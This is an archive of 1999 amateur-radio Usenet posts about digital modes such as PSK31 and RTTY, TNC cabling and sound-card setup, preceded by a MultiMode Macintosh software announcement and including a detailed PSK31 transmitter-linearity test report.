Version 2.0.0 of MultiMode is now available. This version adds support for PSK31, which is rapidly becoming a popular mode of operation for ham radio operators. MultiMode is the only known Macintosh software that supports PSK31.

MultiMode is a shareware application which allows your Macintosh to decode several different modes of non-voice communication often heard on shortwave radio. It is the only program of its kind for the Macintosh, and rivals commercial packages for the PC platform costing hundreds of dollars.

MultiMode allows you to decode and display morse code, RTTY, FAX, SSTV, ACARS, and many other modes on your Mac, without any extra hardware! MultiMode now also allows you to transmit in most of the modes of operation.

In the past, dedicated hardware, often costing hundreds or thousands of dollars, was necessary to demodulate and decode this transmissions. Today, you can use the processing power of your Macintosh to decode and display these modes, without any hardware.

MultiMode supports the following modes:

Morse Code (CW)
RTTY (Baudot)
ASCII

Hello all.. Here's a fun one..

I want to build a digital temperature sensor to measure ambient air temperature. I want to interface this with my computer through the serial port in order to have software (eventually to be written by me & my dad) query the sensor at specified intervals, and log the results in a standard ASCII text file.

I've been to the national semiconductor site and have looked at line drivers and LM35/LM75's etc... However, I know precious little about digital async comms. I understand digital electronics and theory, and I understand the RS-232 standard (N-8-1 and all that :)). What I don't understand is what logic is req'd to make this unit work? BTW, the LM75 seems to be a better choice for this project.

Hello Al:

The DSP-599z has a RTTY modulator/demodulator, as well as digital filters for use with TNC's. To run RTTY with just the DSP-599zx Timewave supplies DSP-RTTY a WIN 95/98/NT program, See http://www.timewave.com for more information.

Gary missed on this point, The DSP-599zx has Twin peak brick wall filters for each mode of the PK-232 which not only decresae bandpass but peaks the tones being used.

See http://www.megalink.net/~n1rct/dxcc/vp9story.html for an example of the DSP-599zx in use from N1RCT.

>auxiliary input ?
>
If you have a connector on the back panel labeled ACC2 and it has 13
pins, then it's probably the same as on the TS-450 which would be pin
11. The pins on the plug are numbered strange, so if you want to do
that, I will try to figure out how to tell you in an unambiguos way
where pin 11 is.

Looking at the plug, not the socket. and orienting it so that the one
pin that is all by itself (pin 13) is at the top, then pin 1 is in the
lower right corner and pin 12 is in the upper left corner.

2098. Digital box

>makes one good and one not so good?

Strictly speaking, the term Terminal Node Controller (TNC) applies only
to packet (and packet is an abomination on HF). Things like a PK232 or
KAM are properly called multimode data controllers. However, since there
are now good programs which use your sound card and host DSP for HF
digital data modes such as RTTY, AMTOR, PACTOR, PSK31, the various
Hellschreiber modes (and SSTV too), there is little reason to use an external
box and leave your powerful computer to act as only a dumb terminal to a
little 8-bit processor for operating these modes.

There are a couple of modes which do need either a plug in card or an external
box. Those are Clover II and PACTOR II. They require dedicated high speed DSP
hardware. If you want to run these specialized modes, you have to buy the hardware
to do it (from HAL or SCS). But for the other commonly used modes, a sound card
and software on a moderately fast PC does just fine (usually that setup performs
better than the boxes with analog hardware filters). Boxes with dedicated hardware
DSP on board may (or may not) perform better for particular modes than the sound
card and host DSP, but any difference is usually slight.

If you're using an old slow computer, or if you want to run unattended with your
computer powered down (the rules for unattended operation on HF are very
restrictive, so you probably won't do this), then you might still want to consider
an external box. If you're still using your Osborne 1, or a Mac, or a laptop without
sound capability, then you might need the external box. The KAM is a popular
choice for that (if you can find a PK232MBX, it will serve too). Otherwise, the
sound card and software is the best way to go. There are a number of good
programs available free on the net, and some that are sold commercially. All
are cheaper than an external multimode data controller, most will work better
too.

Greetings everyone.

Just wondering if theres any packeteers still alive in southern ontario on 70cm? specifically in the toronto/mississauga area?

Aside from the usual bunch of regulars I hear on the repeaters (a dozen or so) on 70cm the band seems abysmally dead.

2103. IC706 to KAM+ cable, MFJ-5065YH

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-27 00:00:00 UTC
From: faunt@netcom2.netcom.com
Message-ID: <FAUNT.99Apr27113401@netcom2.netcom.com>
Source record: 18409

I picked up one of these cables in order to make a clean sturdy cable for interconnecting my IC-706, KAM+ and optionally the DSP599zx. The current connection is a little sloppy.

I am going to rebuild it anyway, since it doesn't support FSK, but was surprised to learn that it's wired incorrectly for any use, and the diagram that comes with it doesn't show either the actual way the cable is wired, or the way it should be wired, even without FSK.

If you're trying to get up on RTTY using this equipment, be warned.

This is the second cable of this sort I've gotten, and both of them were originally wired the same incorrect way. The first one, I hacked up without checking, but have enough remnants to be able to determine this really is the case. I've sent email to MFJ about this.

I have been looking for something similar but the best I can find is
XPWIN which handles multi tncs (including my PK-232) and has an
internal mailbox. No cross connection but both modes can access the
mailbox. I have 2 VHF ports and one HF pactor port. The only other
program is a true mail handling system WINLINK.
Both also have facilities to control the HF rig if it has a computer
interface.

2108. RadioRaft 3

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-27 00:00:00 UTC
From: Francois Michaud-Herbst <frmichaud@compuserve.com>
Message-ID: <37261B73.49FB@compuserve.com>
Source record: 18414

Be carefull with Radio Raft 3, the new protection system invented by Mr Guillet does not works and is dangerous for your computer hardware. I downloaded 3 times the software, installed 3 times the free version and each time asked to make a disk to have the first part of the serial number to be abble to register, each time I had error messages and the disk which was formated is no longer and need to be demagnetised to be abble to reformat it, the computer refusing to recognize it. I dont know what the Mr Guillet program's did on the disk but the disk drive was making terrible noise and I thought everything will break.
I tried on my personnal IBM Ambra and on the 6 computers from my office (HP Brio and HP Vectra) with the same result each time the disk drives (ALPS or Sony) makes a terrible noise and I thought everything will be destroyed.
I have nothing again software protection to prevent piracy but it will destroy your hardware it is an other story.

2109. Anyone know about digis?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-28 00:00:00 UTC
From: Tom Hoyt <kc8ish@juno.com>
Message-ID: <01be911b$c10000e0$29c967ce@4th-of-4>
Source record: 18415

Hello, my name is Tom and my callsign is KC8ISH. I have become very interested and excited about the packet mode of operation, particularly APRS. I am 26 years old and have had my tech plus license for well over a year now. My home QTH is Niles, MI, within the gridsquare of EN61. If there is anyone who lives near me or knows someone who lives near me, I would like some info on any and all digis and BBS's in this area.

Thanks and 73.

Tom, KC8ISH

Source record: 18424

Gary,

I wonder if you could clarify this for me. In addition to being active on the amateur bands, I enjoy listening to shortwave and decoding fax, rtty, and anything else my multimode controller will decode. I have recently been considering one of the more advanced products such as the Hoka or Universal M-8000. Do these products offer anything that software modules and a soundblaster do not? I have yet to find a comprehensive "all-in-one" software package that would provide the convenience of a dedicated decoder, but if I can save the cash by collecting software on the internet that will provide equal performance I'd gladly do it.

Thanks,

Glen Menendez KD4EQI

Dear R2/T2, miniR2 and Phasing DC fans,

Jan (G0BBL), Alan (G7PUB) and Steve(G0XAR) would like you to visit their QRP2000 web site at http://www.stevef.demon.co.uk/qrp2k/qrp2000home.htm. It describes our progress so far on building a multi band transceiver based on the well known KK7B R2/T2 modules coupled with BPF, PA, LPF modules from Hands electronics. It covers top band to ten meters, USB,LSB and CW. Our contribution is our own design dual DDS VFO coupled with a PIC based controller. This overcomes the difficulties of generating perfect phasing over a wide range of frequencies using analogue techniques. The result is the effective multi-banding of what, in the past, has largely been considered as a single band design.

We hope it is of interest to the QRP community.

Jan, Alan and Steve AKA the QRP2000 team.

I don't know of an "all-in-one" software package that'll handle all of the utility service signals as well as all amateur signals. One may exist, but I think you'll need several programs to cover everything. I saw a list a while back of programs for utility monitoring, and as I recall there were a number of software analysis and decoding packages available. As I recall, there are a couple dozen different types of signals in use. A few of them, such as the Clover 2000 used by Globe Wireless, would need special proprietary hardware assist to decode. But most can be handled with a sound card and software. That's the most general sort of decoding system. As far as I know, the Hoka and Universal decoders can't do them all either.

Utility monitoring is a pretty specialized hobby. I'm not an expert in this area. You'll need to go web crawling to find the experts who can tell you more about the particular sorts of signals you'll find, and the sorts of programs that will decode them. As I understand it, there are some signals which have resisted amateur decoding.

Signal analysis programs such as Analyzer 2000, Cool Edit, or Gram42 can be useful for figuring out what sort of signal you've found. I keep a copy of Gram42 running when I'm snooping around on the bands. It doesn't actually decode anything (except the Hellschreiber modes), but it gives you a good real time spectral picture of what you're receiving. That lets you deduce what the signal is so that you can call up the proper program to decode it.

UKIP11
======

The Thames Valley IP User Group (TVIPUG) would like to propose
'A gathering of interested parties' hereinafter called UKIP11.

The purpose of this meeting is to allow Radio Amateurs who are
interested in amateur TCP/IP networking to meet and discuss
topical matters.

The date is Sat 15 May 1999 at The British Red Cross HQ in
Send, near Woking, Surrey.

The Center will be open from 10:00 and we would like to start
at 10:30. Because of another booking of the center, we will have
to vacate the premises by 17:30 at the latest but it is not expected
that this will be a problem.

Tea, coffee and biscuits will be provided by TVIPUG.

Woking is easily accessible by train and road (A3, M25 etc) and
there is ample parking near the Red Cross HQ.

The use of the premises is being provided by a member of the Red Cross
so it is felt appropriate that we make a donation to the Red Cross
by way of a thank you. To this end, a collecting plate will be located
near the signing in book.

The detailed directions to Send are included below.

A local hostelry can take care of lunchtime dietary requirements.

If you would like to attend, please can you drop me an email
so we can get an idea of numbers.

Also, additions to the proposed agenda will be greatfully received.

Regards.. Andy Pevy G4XYW

Email:- andy@g4xyw.demon.co.uk

==========

Proposed agenda :-

1, UKIP-Webpage Maps and Gateway files

2, CONVERSE

3, LINKS

4, Modems & TNC's

5, NEW BANDPLAN

6, SOFTWARE DEVELOPMENTS

7, FULL DUPLEX

8, REGEN

9, IP COORDINATORS

10, SERVICES

11, A.O.B.

==========

The following people have expressed an interest in attending :-

Mike Knell (Hopefully)
Paul Taylor G1PLT
Kevin Frost G1BWT
David Humble G0TWN
Tony Green G8NRB
Steve Morton G8SFR
Stuart Barron G7JYF
Steve Kitchener G6DZJ
Chris Meadows G6KMQ
Leigh G7IUB
Darryl Miles G7LED
Nick Parnell G4ZXI
Roger Taylor G4HZA
Robin Gilks G8ECJ
Martin Coker G1LIG
John Townsend G8JAD
Kevin Taylor G6YTC
Alan Walker GB7ESC
Andy Pevy G4XYW andy@g4xyw.demon.co.uk

+ Others that I have heard about on the grape vine :-)

==========

Directions to UKIP-11 being held on Sat 15 May 1999 at the Red Cross
Center in Send near WOKING Surrey.

From the M25.....
==========

Take the A3 exit from the M25 (Junction 10) and head towards Guildford.

Take the exit slip road which is signposted to Ripley and Ockham (This
slip road is located just after a big lake which is on the left hand side
of the A3 and NOT the exit which leaves the A3 from the layby just after
the M25 A3 junction.).

At the end of the slip road is a roundabout. Follow the roundabout under the A3 and then turn Left towards Ripley village, along the B2215.

Follow this road through Ripley village and continue until you arrive at a Shell Petrol Station which is opposite a roundabout.

At this roundabout, turn right towards Send Village. This road is the A247.

Now goto 'Homing in from the A3'

Approaching on the A3 from Guildford.....
==========

Take the Slip road off the A3 signposted to Ripley. This is the first available exit from the A3 after Guildford.

At the roundabout at the end of the slip road, turn left towards Send Village. This is the A247.

Homing in from the A3....
==========

Follow the A247 towards Send, continue until you pass a set of traffic lights at a cross roads. Continue until you see another Shell Petrol Station on the Right hand side. Turn left into 'Sandy Lane' which is just before the Petrol Station.

For those who carry GPS (or a map) the NGR of the junction of Sandy Lane and the A247 is :-

TQ 026556

The Red Cross Center is in Sandy Lane.

In case of problems on the day I can be contacted on 0976 750090.

A map of the area can be found at 'www.tvipug.freeserve.co.uk'. Follow the link to ukip-11.

2127. PSK31 System Testing

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-30 00:00:00 UTC
From: nobody@crosslink.net
Message-ID: <372995a0.1105481@news.crosslink.net>
Source record: 18433

The test results that I am reporting here are not conclusive, and I wish I could interpret what it all means, but I can't. Perhaps the community will give me some insight into these results and whether or not the problems that I see are really all that serious.

**********Tests and Conclusions**********

(See "Equipment and Configuration Summary" at the end of this message for details of the test setup.)

Tests were performed to determine the causes of non-linearity and splatter in a PSK31 station. These tests utilized two complete PSK31 stations, co-located at the QTH of W9DMK. Initial tests were made using direct cable connection between the two computers, and then tests were made using two transceivers with an RF path between the two.

The initial tests (with the direct cable connections) were made to determine that the software, the sound cards and the software were capable of correct operation over a wide range of audio operating levels.

**********Important System Parameters from Initial Tests **********

Maximum Output of Sound Card in TUNE mode with "Volume Control" and "Wave" at max. settings: 4.75 v

Maximum Output of Sound Card sending text with "Volume Control" and "Wave" at max. settings: 4.3 v

Maximum Output of Sound Card at "Idle" with "Volume Control" and "Wave" at max. settings: 3.6 v

Audio Level at which blood flows in waterfall with "Line-In" at max. : 380 mv

Min. "Idle" signal level discernable in the waterfall: < 0.8 mv.
(This is subjective and is dependent on such conditions as room
darkness,
observer's visual acuity, etc.)

Dynamic range of signal level display in the waterfall (ratio of two
items
above): At least 475:1 or 53 dB.

Scale factor of radial lines in Phase Scope: The radial line length is
also
logarithmic. The radius of the phase scope is approx. 12 mm. on my
screen.
Each 6db change in signal voltage (halving or doubling of the voltage)
produces a change of about 1 mm in radial line length. The dynamic
range of
the phase scope line lengths must be around 72 dB.

The Ratio of audio level in "Idle" to audio level in "Tune": 0.76

Ratio of audio level in "sending text" to audio level in "Tune": 0.9
(Note
that this is rather dependent on the textual content.)

Maximum Audio Level output from soundcard when sending text without
distortion: 3.6 v (84% of max. output when sending text. Note that
this is
somewhat dependent on the textual content.)

Maximum Audio Level output from soundcard at "idle" without
distortion: 2.73
v (76% of max. output at idle)

Minimum Solid Print Signal Level when sending text:
Between 7 and 8 millivolts. (This is difficult to measure
consistently. Note
that the signal to achieve a lock and start printing is a little
higher than
the level needed to maintain lock.)

Discussion of Initial Tests: --------------------------

Before conducting the On the Air Testing, it became clear that the
Computers,
the Sound Cards and the PSK31 program are capable of producing a clean
signal over an extremely wide range of audio levels. The danger zone
for the
audio input level to the sound card is made quite apparent by Peter's
blood-red indicator in the waterfall.

The danger zone for the audio level output from the sound card is more
compicated. The important data is the 2.73 volts output at "idle" or
the 3.6
volts output when sending text. When exceeding those levels I could

see
distortion in the waterfall in the form of vertical bars at "idle" and
splatter when sending text. These output levels are obtained with
Volume
Control and Wave settings that are near maximum in my configuration.
It is
my opinion based on these initial tests, that there will be no
noticeable
distortion due to the sound cards and software when the mixer
settings for
those two controls are kept below a combined number of 11. That is, if
each
slider is set for the 6th tick mark, giving a combined setting of 10,
that
would be safe. If however, the combined slider settings are at
maximum,
which is a combined setting of 12, then you are guaranteed a
noticeable
distortion at "idle" or in sending text. [First tick mark is defined
as
zero, etc., until the 7th tick mark, which is defined as 6.0]

It also became clear, and somewhat of a surprise, that the dynamic
range of
signals in the phase scope and waterfall display is tremendous.
Obviously,
there can be over 50 dB difference in the audio level of signals in
the
display. That means that any spurious signals seen in the display
could be
as much as 50 dB down from the main signal and still be visible in the
display. Remember also, these signals that we are observing are in the
receiver's audio output - not in the RF pass band. Due to the
compression
effects of AGC, it's really hard to know how these observations relate
to
what goes on in the RF world. Perhaps an oscilloscope would have been
a
better way to make the measurement, but I am not at all sure how I
would
have utilized an oscilloscope, because what you really need, I
suppose, is a
professional quality spectrum analyzer.

**********On the Air Testing**********

The objective of the "On the Air" tests was to localize the cause of
the
appearance of vertical side bars in the waterfall display due to the
transmitter or receiver.

All "On the Air" tests were conducted within the range of "Idle" power levels of 1 watt to 30 watts. I chose 1 watt as the lowest power level that
I could reliably measure with my wattmeter, and I chose 30 watts as being
the highest power level that I could use which would NOT start showing any
ALC action in the ICOM - 751 A

The 1 watt Test (Summary): ----------

In order to reduce the output power to 1 watt, the Volume Control and Wave
settings were reduced to 1 1/2 and 1 respectively. In order to couple the
receiver to the receiving computer without overloading the sound card, the
"Line-In" setting was reduced to 4. The receiver was operated at two extreme points, A and B, as follows:
Operating Point A: Per normal configuration shown in Equipment and Configuration Summary.
Operating Point B: Receiver's built-in 20 db attenuator=In, RF Gain reduced
to the point where the radial line in the scope display was at half length.

Observations: Two additional vertical side bars on each side of the main
signal in condition "A". The second additionl side bar on each side is very
dim.
In condition "B" the side bars disappear completely.

The 45 watt Test (Summary): ----------

In order to set the output power to 45 watts at idle, the Volume Control and
Wave settings were set to 2 and 1.6, respectively. The receiver was operated at the
same two extreme points, A and B, as follows:
Operating Point A: Per normal configuration shown in Equipment and Configuration Summary.
Operating Point B: Receiver's built-in 20 db attenuator=In, RF Gain reduced
to the point where the radial line in the scope display was at half length.

Observations: Two additional vertical side bars on each side of the main
signal in condition "A". The second additional side bar on each side is very
dim.
In condition "B" there is only one additional side bar on each side

and it
is very dim.

Overall conclusions:

The reduction in transmitted power necessary to eliminate any
additional
vertical sidebars in this rig is unacceptable. The fact that there are
prominent side bars at the one watt level strongly suggests an
intrinsic
non-linearity in the ICOM-751A in the audio circuitry, or an inherent
defect
in the modulation process.

The phenomena that is observed when reducing the RF signal levels
within the
receiver strongly suggest significant nonlinearities within the
detection
process.

My analysis of the detailed location of the non-linearities is a SWAG,
at
best, but the inescapable conclusion is that at the 30 watt level and
possibly at the 1 watt level, my signal would be judged as "Wide in
the
waterfall".

With the equipment all set up for the above test, it requires very
little
changes to swap the receiver and the transmitter and make a similar
end to end test in the opposite direction.

I did the swap. The TS-450 could be operated at 37 watts before any
ALC
action began. I only had to reduce the RF gain in the ICOM-751A to a
60%
length of radial line in the phase scope in order to eliminate any
additional sidebars. Definitely an improvement over the IC-751A

In a one-watt test, the sidebars looked just as bad as in the 37 watt,
but
the phase scope radial line only had to be reduced to about 70% length
in
order to completely eliminate any additional sidebars. Again, an
improvement.

There is very little good news in these tests. I still have only a
vague idea
of where the distortion originates. Only after making the swap was I
able to
conclude that the TS-450 seems to be marginally better than the
IC-751A as
the transmitting system - and that's all that matters. It's of no

consequence to the world at large if my receiver is producing distortion.
The really bad news is that none of these rigs seem to be as clean as one
would like. On the other hand, we really do not yet have any quantitative
results to show just how bad the distortion is. Remember, the dynamic range of the
waterfall is at least 50 dB - probably closer to 60 dB. I.e., you are able to see a range of signal levels of > 50 dB.

**********Equipment and Configuration Summary**********

PC's (both machines): AMD K6-2/350 based with 64 MB RAM

Sound Cards (both Machines): Creative Labs Model CT-4170, 16 bit Plug and
Play.

Software (both machines): PSK31SBW.EXE v 1.06 by G3PLX

Mode of Operation (both machines - all tests): BPSK

Center Frequency (both machines - all tests): 1000 Hz

Sample Rate (both machines - all tests): 11025 Hz
Operating System (both machines): Windows 98

Audio Mixing: Microsoft (R) "Volume Control", Windows 98, Copyright (C)
1981-1907 Microsoft Corporation.

Receiver=Kenwood TS-450
AGC=Slow
Mode=USB
20-DB-Attenuator=Out
RF-Gain=Maxmimum

Transmitter=Icom-751A
RF Power Control=Maximum
Mode=USB

Interconnections (Direct Cable Configuration): Stereo Plug from Sending
Computer "SPK/LINE" (Green) via two-wire shielded cable to Attenuator (Right
Channel only), and single wire shielded cable to Receiving Computer "LINE
IN" (Blue).

Interconnections (On-the-air configuration): ----------

Sending Computer "SPK/LINE" (Green) to Icom 751A Accessory pin 5 via 1:1

isolation transformer and pot.

Kenwood TS-450 ACC2 pin 3 (fixed level output) to Receiving Computer "Line
IN" (Blue).

RF Path: ----------

Transmitter (ICOM 751A) terminated in 50 ohm dummy load.

Recever (Kenwood TS-450) connected to outside antenna via 50 ohm coax.

Audio Settings:_----------
Mixing Control Settings ("Volume Control", "Wave", and "Line-In"):
Each control has 7 tick marks which are referred to as values of 0 through 6
and fractions thereof. That is, the min. is 0, the max. is 6 and the half
way point is 3.

Stereo Balance Settings (both machines):
Volume Control: Full Right
Wave: Full Right
Line-In: Full Left

Audio Attenuator: Helipot Corporation, 5K ohm Precision Potentiometer,
Model T- 10A, with 0 - 1000, ten-turn dial.

Audio Voltage Measurements: per Ballantine Model 323-01, True RMS Voltmeter.

****** End of Equipment and Configuration Summary**********

**********Glossary**********

"Wide in the Waterfall" - I assume that this term means that there are additional vertical bars visible at either side of the two bars comprising
the 31.25 Hz modulation. During text transmission, an equivalent pattern is
seen consisting of alternating light and dark regions to either side of the
central modulation spectrum.

**********Disclaimer**********
These tests are the work of Robert Lay, W9DMK, and do not represent anyone
else's judgements or conclusions other than my own. Readers should not draw
any inferences as to the quality or reliablility of any of the hardware or
software involved, since another analyst may find different results.

2128. Windows Programs Needed

Newsgroup: rec.radio.amateur.digital.misc

I'm using an ICOM PCR1000 that works only under Windows...
I need a program under windows able to receive and decode RTTY & CW
Signals with Sound Blaster (without using COM Ports).
Where can I find it ??

Thanks in advance

No there's not a "one for all" type pgm.But I can suggest one
thing....make sure you want to take the plunge before spending $600 & up
for the "real" software &/or hardware.There's a BIG difference between the
pgms you see being released now & then that use the sound cards in a p/c &
the type of equipment you need to go to the next level.There's a program
out,RadioRaft,that supports many of the modes that the high-dollar
decoders support.It costs approx $30.00usd.But before you break out the
plastic....keep in mind the cliche "you get what you pay for".

Here's a good site for you to check out.It's WUN's,Worldwide Utility
News, homepage @:

Message-ID: <372a1f63.8947765@netnews.worldnet.att.net>
Source record: 18439

Hi Mike:

I have been happily using my CoCo on Baudot RTTY since Mar 1987 with a hardware AFSK modem and Clay Abrahms RTTY-CW software. Works great for me. However, the program is 1982 era and only does I/O via cassette port on the CoCo. I first started with a program that was found in RAINBOW magazine, called RTTY, if I recall correctly. That program was a software AFSK modem and allowed for Baudot RTTY only; no CW , no ASCII and strictly 45baud rate rtty. It uses the cassette port as the interface.

I have never been interested in PACKET radio; however, I seem to recall a program named AUTOTERM that had some references to using the program for a Ham Radio Packet connection.

Good Luck, 73s, and Have Fun.

Hello David:

First thing I would check is you power supply. The PK-22 needs about 900ma on start up and 850 ma in normal operation. If your P/S is going south that might explain the problem.

I meant inside the DIN-13 plug shell, actually. The 13 pin thing doesn't have solder cups on the back. I slipped the RS232 pins onto the stubs to connect inside the shell. It's a lot easier this way, but getting at pin 6 for the S-Meter output looks quite difficult. I'm glad I don't need that line, yet. I'll look into the MFJ cables if that time ever comes.

Michael.

Yeah, this is the same method I used at first. I suppose you could make your own shell with epoxy, though it's a lot of trouble.

MFJ has already made up cables with the 13 plug connector on one end for about $20. This would be for between your TNC and the 440, which are all TTL level signals. They also have the 8 pin mic connector to TNC cable, which is an alternate way to do packet. They also have a box to allow the mic and TNC to share the mic connection so you don't have to keep swapping cables.

For RS-232, they used to offer a cable witht the MAX-232 chip inside the db-25 shell. I think this was about $40. I don't think they offer it anymore. Of course, you can build an RS-232 to TTL interface for under $10.

www.mfjenterprises.com, catalog page 25, which you can download.

On the other hand, I am kind of down on MFJ right now, as they refuse to give tech support via e-mail.

Bear in mind that the TS-440 is prone to RF pickup on cables attached
to the 13 pin ACC 2 connector. I advise use of a 1:1 transformer for
each audio (pins 3/4 rx audio and pins 11/12 tx audio of 300 to 500
mV). Also use a pair of opto-isolators to ground pin 13 (PTT) and pin
9 (MIC MUTE) to pin 12 (GROUND) on transmit. Works perfectly that way
in the worst of RF 'hot' shacks.
Richard

2143. Moduli TX-RX 19k2 bps

Buon 1° Maggio a tutti,
bene... bene cominciamo a parlare di cose serie:

In una fiera radiomatoriale ho visto 2 moduli (Rx e Tx) digitali con queste caratteristiche:

(Tx-DFM) ingresso digitale --> uscita RF (433.65 Mhz) ~10Dbm
controllo abilitazione Tx (in) separato dall'alimentazione
uscita (max 10mA) quando è attivo il Tx (out)

(Rx-DFM) ingresso RF (sens. -100Dbm) --> uscita digitale
controllo abilitazione Rx (in) separato dall'alimentazione
uscita (max 10mA) quando è attivo l' Rx (out)
possibilità di settare il valore di squelc, e uscita Carrier Detect
(se presente un segnale superiore al livello di squelc impostato)

Non faccio nomi di marche per evitare di essere ripreso per PUBBLICITA' inopportuna (cmq basta pensare che è... diciamo... molto aurea....)
Cavolate a parte io volevo creare un link pont-to-pont (ed eventualmente in futuro multi-point, ma questo dipende solo dal protocollo usato) half-duplex. Da notare che i moduli possono arrivare alla velocità di 19k2 bps (che non è poco dato che tra Tx e Rx si spende poco più di 70k lire) e hanno tempi di accensione rispettivamente 500uS e 1mS. Il mio grande problema è come diavolo fare gestire il tutto da Win9x che, essendo un OS non real-time mi dovrebbe dare un bel po' di casino gestendo i moduli in un linguaggio ad alto livello tipo VisualBasic. Tra l'altro in VB potrei fare ad esempio dei semplici prog per trasmissione messaggi e/o file ma non potrei gestire una connessione di rete.
Io vorrei emulare in tutte le sue fonzioni una rete locale... ma come supporto fisico e di collegamento dati (livello 1 e 2 OSI) invece di usare per esempio
l'RG-58 uso l'etere.
Un'idea ce l'avrei ma non so' se sia fattibile:
in uno stesso sistema WinXX mi sembra che sia possibile gestire 2 indirizzi IP diversi (parlo di usare protocollo TCP/IP) praticamente io avrei il mio PC con il suo indirizzo IP (assegnato eventualmente anche in modo dinamico) e un indirizzo da utilizzare come ponte (tuneling). Spiegandosi meglio io ho 2 pc e hanno indirizzi IP rispettivamente A e B. Io aggiungo ad ognuno di essi un secondo soket IP chiamato C. La mia situazione è la segente quindi:
Pc 1 soket attivi A e C
Pc 2 soket attivi B e C

Quando Pc1 vuole trasmettere a B invia i dati dal soket A al socket C (di Pc1), il quale soket gestito dal VisualBasic (winsok.ocx) a questo punto il VB si occupa di attivare le due schedine e.... magia i dati arrivano al soket C del Pc2. A questo punto il programma in VB che che gestisce il soket C del Pc2 si occupa di inviare i dati ricevuti nel soket B concludendo la trasmissione dei dati da A a B. In pratica sarebbe un Bridge software tra 2 reti con i primi 2 livelli differenti. (per un multi punto la questione si allargerebbe anche al 3 livello OSI e quindi pi che di Bridge si parlerebbe di vero e proprio Gateway)

Altra soluzione creare un driver di rete per WinXX ma qui bisogna avere il DDK (Device Drive Kit) della Microsoft e io proprio non so' da dove partire!!!! Help

Vi prego di sarmi una mano ve ne sarei molto riconoscente!!

Ciao Alberto, non vorrei dirti una catronata, ma utilizzando dei programmi
di packet radio, con protocollo tipo AX 25 o con Flexnet, forse la cosa
dovrebbe risultarti più facile! Son programmi fatti apposta per la
trasmissione digitale via radio, tra l'altro in rete OM si stanno
sperimentando velocità attorno ai 38.800 e prossimi ad 1Mbit (queste ultime
logicamente in frequenze di Gigaherz!). Se magari ti fai un giro presso
qualche sito Ham, troverai qualcosa riguardante proprio questi protocolli.
Mi puoi mandare un e-mail personale dicendomi la marca dele schede che hai
preso? Interesserebbe a me ed un gruppo di miei amici per effettuare degli
esperimenti di trasmissione digitale sulle frequenze del punto 1 (in questo
caso LPD) dell'art 334 codice PP.TT.

Sorry about that - I am not looking at the back side of the plug where
you make your connections - I am looking at the actual male pins. I
did not take the back off of mine to see whether or not they have
numbered the solder pockets, but from what you are saying, I guess
they did. I did mine a couple of years ago and made a general purpose
cable that fans out to a terminal strip so that everything is
available at screw down terminals - do it once and it's good for all
possible future modifications, etc.

I bought the same cable, and had the same problem. I believe the radio
would not transmit. I had to take the cable apart, and change the
connection.

Good idea; wish I'd thought to do that. Well, everything seems to be working now.

It turned out there was quite a bit of RF on the audio lines, both in and out. A few turns around small Rat Shack cores seems to have solved it. The sub-woofer still doesn't like the RF on some freq's, and I have to keep it powered off when I'm operating.

I'm a Tech-Plus, and not finding many people to QSO with. I'm restricted to 10m for data; can somebody sked a meet to help me tune this thing? Thanks much!

Michael.

Source record: 18306

Hello to you de Victor Gi4LKG from Northern Ireland.

I have 2 friends with PK232 Multimode units from AEA.

Both have the same fault and there serial numbers are in the same range.

The problem is that when they work fine on all modes there is an
intermittent
decode problem on VHF packet ONLY.

We have noticed on the underside of each mother board there appears to be
factory type
MODS to the circuitry..ie cut tracks and short bits of wire added. This area
has to do with the VHF
functions of the unit.

when the unit is behaving the 6th led from the left of the tuning display is
lit but when the fault occurs the 5th led from the left is lit.

Can u HELP pse

From: Walter Dunckel <wdunckel@best.com>
Message-ID: <372C9EAE.84DE6723@best.com>
Source record: 18308
Body handling: Binary attachment payload not displayed: wdunckel.vcf

I have posted a program as well as it's source code
(in Visual Basic v. 5.0) at the following website:

http://www.best.com/~wdunckel/d7zpinfo.htm

It includes the following functions:

1. Spectrum Analyzer "slow scan" - This scans any 4 Mhz
spectrum selected and graphs any activity with a signal
strength reading of 1 or above. Band needs to be in VFO
mode. Results are displayed on a chart/graph.
2. Dual signal strength indicators (one for each band) work
simultaneously
3. Frequency control with up/down and step, as well as a/b band
and dual band selection and VFO/Mem selection.
4. A two line history of the communication so you can see what
commands are being sent to the radio while you use the program.
5. Push to talk and VFO scan can be selected with the mouse,
and the program should work on either comm port 1,2,3 or 4.
6. There is an area to enter unique commands manually using
the commands that were reverse engineered by Darryl Smith.

This program, again, is far from perfected, but appears to operate with
reasonable success on two of my machines. By the way, I have not
started to implement any APRS functions or settings in this program yet.

I'm looking for an HF transceiver to use as a beacon transmitter.

A Kenwood TS-120V would be ideal, but I don't want to spend
much. It needs to operate on 20m and 10W out would be fine.

Make me an offer I can't refuse! I am in New Zealand.

Mail me at as149@detroit.freenet.org

Also check the screw that is through the tab in the regulator making
sure it is tight. The screw applies the output of the regulator to
the PK-232 circuit board. Since the regulator runs quite warm heating
and cooling will cause the screw to loosen over time.

2164. Linear Modulation on ham radio

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-03 00:00:00 UTC
From: Michael <commtwo@innercite.com>
Message-ID: <7glfamobn1@remarQ.com>
Source record: 18320
Cross-posted to: rec.radio.amateur.digital.misc,rec.radio.amateur.space

Just wondering, has anyone tried linear modulation on ham gear? I have read a little about it and it looks like a good mode. I have read about companies running QAM128 over it, but most common digital modulation methods look like they would work fine. Since it self-corrects to the channel, I think that it would work very well with satellite work and a wide-band receiver. The receiver could still hear a narrow-band signal as the doppler shifted, and then the demodulator could automatically shift the signal back to the center frequency that was intended during transmission.

Michael

I've no problem with the output, its loud and clear. But the input audio sounds exactly the same as the output. There is no filtering. If i look at the spectrum in the program i see all the audio that on the input. I would think that if i put a filter on the segment i want to hear it should only proces that specific part of the audio spectrum. But i keep hearing all the signals??

I'm dazled, what a i doing wrong??

On My sound mixer, you can set the input in two places.

For "record" you can set the level of line in. this gets data into the card.

For Playback you can also set the level of line in. If you dont mute the input on this screen, this function WILLl pass input audio DIRECTLY TO THE OUTPUT using the analog mixer with no processing. Could be you are hearing the processed signal overrun by the unprocessed signal.

learned this setting mine up for PSK and SSTV.

Note that on one screen you "mute" signals you don't want, and on the other screen you "Select" signals that you do want.

Sound mixer brings up the Playback mode by default, use that to shut down your input, then do a Properties, Record to see the values of the inputs.

